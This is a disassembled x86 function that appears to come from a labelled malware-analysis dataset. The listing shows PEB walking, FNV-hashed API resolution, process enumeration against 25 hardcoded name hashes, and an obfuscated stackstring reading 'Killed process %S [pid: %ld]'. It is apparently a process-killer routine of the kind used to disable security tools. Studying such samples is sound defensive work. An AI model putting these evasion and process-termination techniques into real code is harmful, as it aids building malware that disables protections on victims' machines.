Function at 0x459760
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11bc
push ebx
push esi
push edi
mov esi, ecx
call fcn.004131c0
test eax, eax
je 0x45a087
call fcn.004132b0
test eax, eax
je 0x45a087
push 0
push 0
lea eax, [ebp - 0x80]
push eax
push esi
call fcn.004132b0
call eax
mov ebx, eax
test ebx, ebx
js 0x45a07e
push 0
lea eax, [ebp - 0x80]
mov dword [ebp - 0x108], 0x18
mov dword [ebp - 0x100], eax
xorps xmm0, xmm0
push 7
lea eax, [ebp - 0x110]
mov dword [ebp - 0x104], 0
push eax
lea eax, [ebp - 0x108]
movq qword [ebp - 0xfc], xmm0
push eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0xf4], 0
push 0x80
push eax
call fcn.004130d0
call eax
mov ebx, eax
test ebx, ebx
js 0x45a073
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x70], eax
call fcn.00412fe0
test eax, eax
jne 0x459819
mov ebx, 0x65a
jmp 0x45a069
movzx ecx, byte [0x4f3854]
xor ebx, ebx
mov dword [ebp - 0x50], ebx
mov esi, 0x104
call fcn.004bca70
mov edi, dword [ebp - 0x58]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x24], ebx
jmp 0x459843
mov ebx, dword [ebp - 0x50]
cmp ebx, esi
jae 0x45985d
sub esi, ebx
mov ecx, esi
call fcn.004bca70
mov ebx, dword [ebp - 0x6c]
mov edi, eax
sub ebx, edi
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x50], ebx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edx, dword [eax + 0x18]
mov eax, dword [0x4f3844]
mov dword [ebp - 4], edx
test eax, eax
jne 0x459931
test edx, edx
je 0x45992a
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
mov eax, dword [eax + edx + 0x7c]
mov dword [ebp - 0x64], eax
lea eax, [ecx + edx]
mov dword [ebp - 8], eax
cmp eax, edx
je 0x45992a
xor ecx, ecx
mov dword [ebp - 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x45992a
mov eax, dword [eax + 0x20]
add eax, edx
mov dword [ebp - 0x28], eax
mov esi, dword [eax]
mov ebx, 0x811c9dc5
add esi, edx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4598f5
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, ebx
imul ebx, eax, 0x1000193
test dl, dl
jne 0x4598c4
cmp ebx, 0x4245c933
je 0x45990c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x28], eax
cmp ecx, dword [edx + 0x18]
je 0x45992a
mov edx, dword [ebp - 4]
jmp 0x4598b4
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x45992c
xor eax, eax
mov dword [0x4f3844], eax
push 0x2f
push dword [ebp - 0x50]
lea ecx, [ebp - 0xf0]
push edi
push ecx
push dword [ebp - 0x70]
call eax
mov ebx, eax
mov dword [ebp - 0x28], ebx
test ebx, ebx
js 0x45a04a
cmp dword [edi], 0
je 0x45a04a
mov dword [ebp - 0x54], 0x8000
call fcn.00412ef0
test eax, eax
je 0x45a04a
mov dword [ebp - 0xe8], 0x2c99bb9e
mov dword [ebp - 0xe4], 0xe3040ac3
mov dword [ebp - 0xe0], 0xdff94c0e
mov dword [ebp - 0xdc], 0x230d4c0f
mov dword [ebp - 0xd8], 0xedffa2df
mov dword [ebp - 0xd4], 0x7679dad9
mov dword [ebp - 0xd0], 0xdfd4e1b0
mov dword [ebp - 0xcc], 0x2c03bac0
mov dword [ebp - 0xc8], 0xb2e7021a
mov dword [ebp - 0xc4], 0xa2db72b9
mov dword [ebp - 0xc0], 0x2bc94c0f
mov dword [ebp - 0xbc], 0x6c916b9f
mov dword [ebp - 0xb8], 0x5fc881ab
mov dword [ebp - 0xb4], 0x6318437e
mov dword [ebp - 0xb0], 0x32fb431e
mov dword [ebp - 0xac], 0xeef7fba3
mov dword [ebp - 0xa8], 0x3ce08834
mov dword [ebp - 0xa4], 0x4a00e40d
mov dword [ebp - 0xa0], 0x86059875
mov dword [ebp - 0x9c], 0x728cb221
mov dword [ebp - 0x98], 0x5e2d07a0
mov dword [ebp - 0x94], 0x2903f2af
mov dword [ebp - 0x90], 0x33fb126d
mov dword [ebp - 0x8c], 0x6895e8e4
mov dword [ebp - 0x88], 0x39db8e34
mov ecx, dword [ebp - 0x54]
call fcn.004bca70
mov dword [ebp - 0x10], eax
test eax, eax
je 0x45a047
mov ecx, dword fs:[0x30]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x18]
mov ecx, dword [0x4f384c]
mov dword [ebp - 0x18], edx
test ecx, ecx
jne 0x459b64
test edx, edx
je 0x459b5c
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
mov eax, dword [eax + edx + 0x7c]
mov dword [ebp - 0x64], eax
lea eax, [ecx + edx]
xor ecx, ecx
mov dword [ebp - 0x14], eax
cmp eax, edx
jne 0x459ac7
mov eax, dword [ebp - 0x10]
jmp 0x459b5e
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x459b59
mov eax, dword [eax + 0x20]
add eax, edx
mov dword [ebp - 8], eax
nop dword [eax + eax]
mov esi, dword [eax]
mov ebx, 0x811c9dc5
add esi, edx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x459b21
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, ebx
imul ebx, eax, 0x1000193
test dl, dl
jne 0x459af0
cmp ebx, 0xe054604a
je 0x459b38
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
cmp ecx, dword [edx + 0x18]
je 0x459b59
mov edx, dword [ebp - 0x18]
jmp 0x459ae0
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
mov edx, dword [ebp - 4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov ecx, dword [ecx + eax*4]
mov eax, dword [ebp - 0x10]
add ecx, esi
jmp 0x459b5e
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov dword [0x4f384c], ecx
lea edx, [ebp - 0x54]
push edx
push dword [ebp - 0x54]
push eax
push 5
call ecx
mov ebx, eax
mov dword [ebp - 0x2c], ebx
test ebx, ebx
js 0x459db8
mov esi, dword [ebp - 0x10]
lea eax, [edi + 4]
xor ecx, ecx
mov ebx, dword [edi]
add esi, ecx
mov dword [ebp - 0x64], esi
mov edx, eax
mov dword [ebp - 0x1c], ebx
mov eax, dword [edx]
add edx, 4
mov ecx, dword [esi + 0x44]
mov dword [ebp - 0x5c], edx
cmp eax, ecx
jne 0x459d9c
mov eax, dword [esi + 0x3c]
test eax, eax
jne 0x459bb0
mov dword [ebp - 8], eax
jmp 0x459bcd
xor ecx, ecx
mov dword [ebp - 8], ecx
cmp word [eax], cx
je 0x459bcd
nop word [eax + eax]
lea eax, [eax + 2]
inc ecx
cmp word [eax], 0
jne 0x459bc0
mov dword [ebp - 8], ecx
mov ebx, dword [0x4f37a8]
test ebx, ebx
jne 0x459c77
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ebx, eax
mov dword [ebp - 0x74], eax
nop
mov edx, dword [ebx + 0x30]
movzx ecx, word [ebx + 0x2c]
shr ecx, 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], 0x811c9dc5
lea eax, [edx + ecx*2]
mov dword [ebp - 4], 0
cmp edx, eax
cmova ecx, dword [ebp - 0xc]
mov dword [ebp - 0xc], ecx
test ecx, ecx
je 0x459c60
mov cl, byte [edx]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
mov ecx, dword [ebp - 4]
cmova eax, edx
mov edx, dword [ebp - 0x14]
xor eax, dword [ebp - 0x18]
inc ecx
imul eax, eax, 0x1000193
add edx, 2
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x18], eax
cmp ecx, dword [ebp - 0xc]
jne 0x459c21
cmp eax, 0xc0323159
je 0x459d60
mov eax, dword [ebx]
mov ebx, eax
cmp eax, dword [ebp - 0x74]
je 0x459c6f
cmp dword [ebx + 0x18], 0
jne 0x459bf0
xor ebx, ebx
mov dword [0x4f37a8], ebx
mov eax, dword [0x4f3840]
test eax, eax
jne 0x459d24
test ebx, ebx
je 0x459d1d
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x74], eax
lea eax, [ecx + ebx]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x459d1d
xor edx, edx
mov dword [ebp - 4], edx
cmp dword [eax + 0x18], edx
je 0x459d1d
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0x14], eax
nop word [eax + eax]
mov eax, dword [eax]
add eax, ebx
mov dword [ebp - 0x18], 0x811c9dc5
mov cl, byte [eax]
inc eax
test cl, cl
je 0x459d08
movsx edx, cl
lea eax, [eax + 1]
sub cl, 0x41
mov byte [ebp - 0x1d], cl
mov ecx, edx
or ecx, 0x20
cmp byte [ebp - 0x1d], 0x19
cmova ecx, edx
xor ecx, dword [ebp - 0x18]
imul edx, ecx, 0x1000193
mov cl, byte [eax - 1]
mov dword [ebp - 0x18], edx
test cl, cl
jne 0x459cd2
cmp edx, 0x3e3247c0
mov edx, dword [ebp - 4]
je 0x459d68
mov ecx, dword [ebp - 0xc]
inc edx
mov eax, dword [ebp - 0x14]
add eax, 4
mov dword [ebp - 4], edx
mov dword [ebp - 0x14], eax
cmp edx, dword [ecx + 0x18]
jne 0x459cc0
xor eax, eax
mov dword [0x4f3840], eax
push dword [ebp - 8]
push dword [esi + 0x3c]
call eax
mov eax, dword [esi + 0x3c]
xor ebx, ebx
movzx eax, word [eax]
mov dword [ebp - 0xc], eax
test ax, ax
je 0x459d80
cmp word [ebp - 0xc], 0x61
movzx ecx, ax
lea eax, [ecx - 0x20]
movzx edx, al
movzx eax, cl
mov ecx, dword [esi + 0x3c]
cmovb edx, eax
movsx edx, dl
lea ecx, [ecx + 2]
call fcn.00412eb0
jmp 0x459d82
mov ebx, dword [ebx + 0x18]
jmp 0x459c71
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x459d1f
xor eax, eax
cmp eax, dword [ebp + ebx*4 - 0xe8]
je 0x459d96
inc ebx
cmp ebx, 0x19
jae 0x459de4
mov eax, dword [ebp - 0xc]
jmp 0x459d37
mov edx, dword [ebp - 0x5c]
mov ebx, dword [ebp - 0x1c]
sub ebx, 1
mov dword [ebp - 0x1c], ebx
jne 0x459b91
mov ecx, dword [esi]
lea eax, [edi + 4]
test ecx, ecx
jne 0x459b85
mov ebx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
call fcn.004bced0
cmp ebx, 0xc0000004
je 0x459a67
cmp ebx, 1
jne 0x45a047
mov eax, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x24], eax
jmp 0x45a04d
mov eax, dword [esi + 0x44]
xor ecx, ecx
mov dword [ebp - 0x11b8], eax
mov byte [ebp - 0x49], 0x4f
mov byte [ebp - 0x48], 0x6d
mov byte [ebp - 0x47], 0x70
mov byte [ebp - 0x46], 0x70
mov byte [ebp - 0x45], 0x69
mov byte [ebp - 0x44], 0x68
mov byte [ebp - 0x43], 0x24
mov byte [ebp - 0x42], 0x74
mov byte [ebp - 0x41], 0x76
mov byte [ebp - 0x40], 0x73
mov byte [ebp - 0x3f], 0x67
mov byte [ebp - 0x3e], 0x69
mov byte [ebp - 0x3d], 0x77
mov byte [ebp - 0x3c], 0x77
mov byte [ebp - 0x3b], 0x24
mov byte [ebp - 0x3a], 0x29
mov byte [ebp - 0x39], 0x57
mov byte [ebp - 0x38], 0x24
mov byte [ebp - 0x37], 0x5f
mov byte [ebp - 0x36], 0x74
mov byte [ebp - 0x35], 0x6d
mov byte [ebp - 0x34], 0x68
mov byte [ebp - 0x33], 0x3e
mov byte [ebp - 0x32], 0x24
mov byte [ebp - 0x31], 0x29
mov byte [ebp - 0x30], 0x70
mov byte [ebp - 0x2f], 0x68
mov byte [ebp - 0x2e], 0x61
mov byte [ebp - 0x2d], 0
mov al, byte [ebp - 0x49]
mov al, byte [ebp + ecx - 0x49]
movsx eax, al
sub eax, 4
mov byte [ebp + ecx - 0x49], al
inc ecx
cmp ecx, 0x1c
jb 0x459e66
mov edx, dword [0x4f37a8]
mov dword [ebp - 0x10], edx
test edx, edx
jne 0x459f34
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [ebp - 8], ecx
mov ebx, dword [ecx + 0x30]
movzx ecx, word [ecx + 0x2c]
shr ecx, 1
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0x811c9dc5
mov dword [ebp - 0x5c], 0
lea eax, [ebx + ecx*2]
cmp ebx, eax
cmova ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], ecx
test ecx, ecx
je 0x459f11
mov edi, dword [ebp - 0x5c]
mov esi, ecx
mov cl, byte [ebx]
lea ebx, [ebx + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x1c]
imul eax, eax, 0x1000193
mov dword [ebp - 0x1c], eax
cmp edi, esi
jne 0x459ed6
mov esi, dword [ebp - 0x64]
mov edi, dword [ebp - 0x58]
cmp eax, 0xc0323159
je 0x459fe1
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 8], ecx
cmp eax, edx
je 0x459f29
cmp dword [ecx + 0x18], 0
jne 0x459ea3
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [0x4f37a8], edx
mov eax, dword [0x4f37a0]
test eax, eax
jne 0x45a010
test edx, edx
je 0x45a009
mov eax, dword [edx + 0x3c]
mov ecx, dword [eax + edx + 0x78]
mov eax, dword [eax + edx + 0x7c]
mov dword [ebp - 0x64], eax
lea eax, [ecx + edx]
mov dword [ebp - 0xc], eax
cmp eax, edx
je 0x45a009
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x45a009
mov eax, dword [eax + 0x20]
add eax, edx
mov dword [ebp - 0x1c], eax
nop dword [eax + eax]
mov ebx, dword [eax]
mov eax, 0x811c9dc5
add ebx, edx
mov dl, byte [ebx]
inc ebx
test dl, dl
je 0x459fc7
mov edi, eax
movsx ecx, dl
lea ebx, [ebx + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [ebx - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x459f92
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], edi
cmp dword [ebp - 8], 0x98b3a433
mov edi, dword [ebp - 0x58]
je 0x459fec
mov edx, dword [ebp - 0xc]
inc ecx
mov eax, dword [ebp - 0x1c]
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], eax
cmp ecx, dword [edx + 0x18]
je 0x45a009
mov edx, dword [ebp - 0x10]
jmp 0x459f80
mov eax, dword [ebp - 8]
mov edx, dword [eax + 0x18]
jmp 0x459f2b
mov ebx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
jmp 0x45a00b
xor eax, eax
mov dword [0x4f37a0], eax
push dword [esi + 0x44]
lea ecx, [ebp - 0x49]
push dword [esi + 0x3c]
push ecx
lea ecx, [ebp - 0x218]
push ecx
call eax
add esp, 0x10
lea ecx, [ebp - 0x218]
xor edx, edx
call fcn.004e3350
mov ecx, dword [esi + 0x44]
call fcn.0049fe40
mov eax, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x24], eax
jmp 0x45a04d
mov ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp - 0xec]
cmp ebx, 0xc0000004
je 0x459840
test eax, eax
mov ecx, 1
cmovg ebx, ecx
push dword [ebp - 0x60]
call fcn.00411330
call eax
lea eax, [ebp - 0x80]
push eax
call fcn.004131c0
call eax
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 0x65a
pop ebx
mov esp, ebp
pop ebp
ret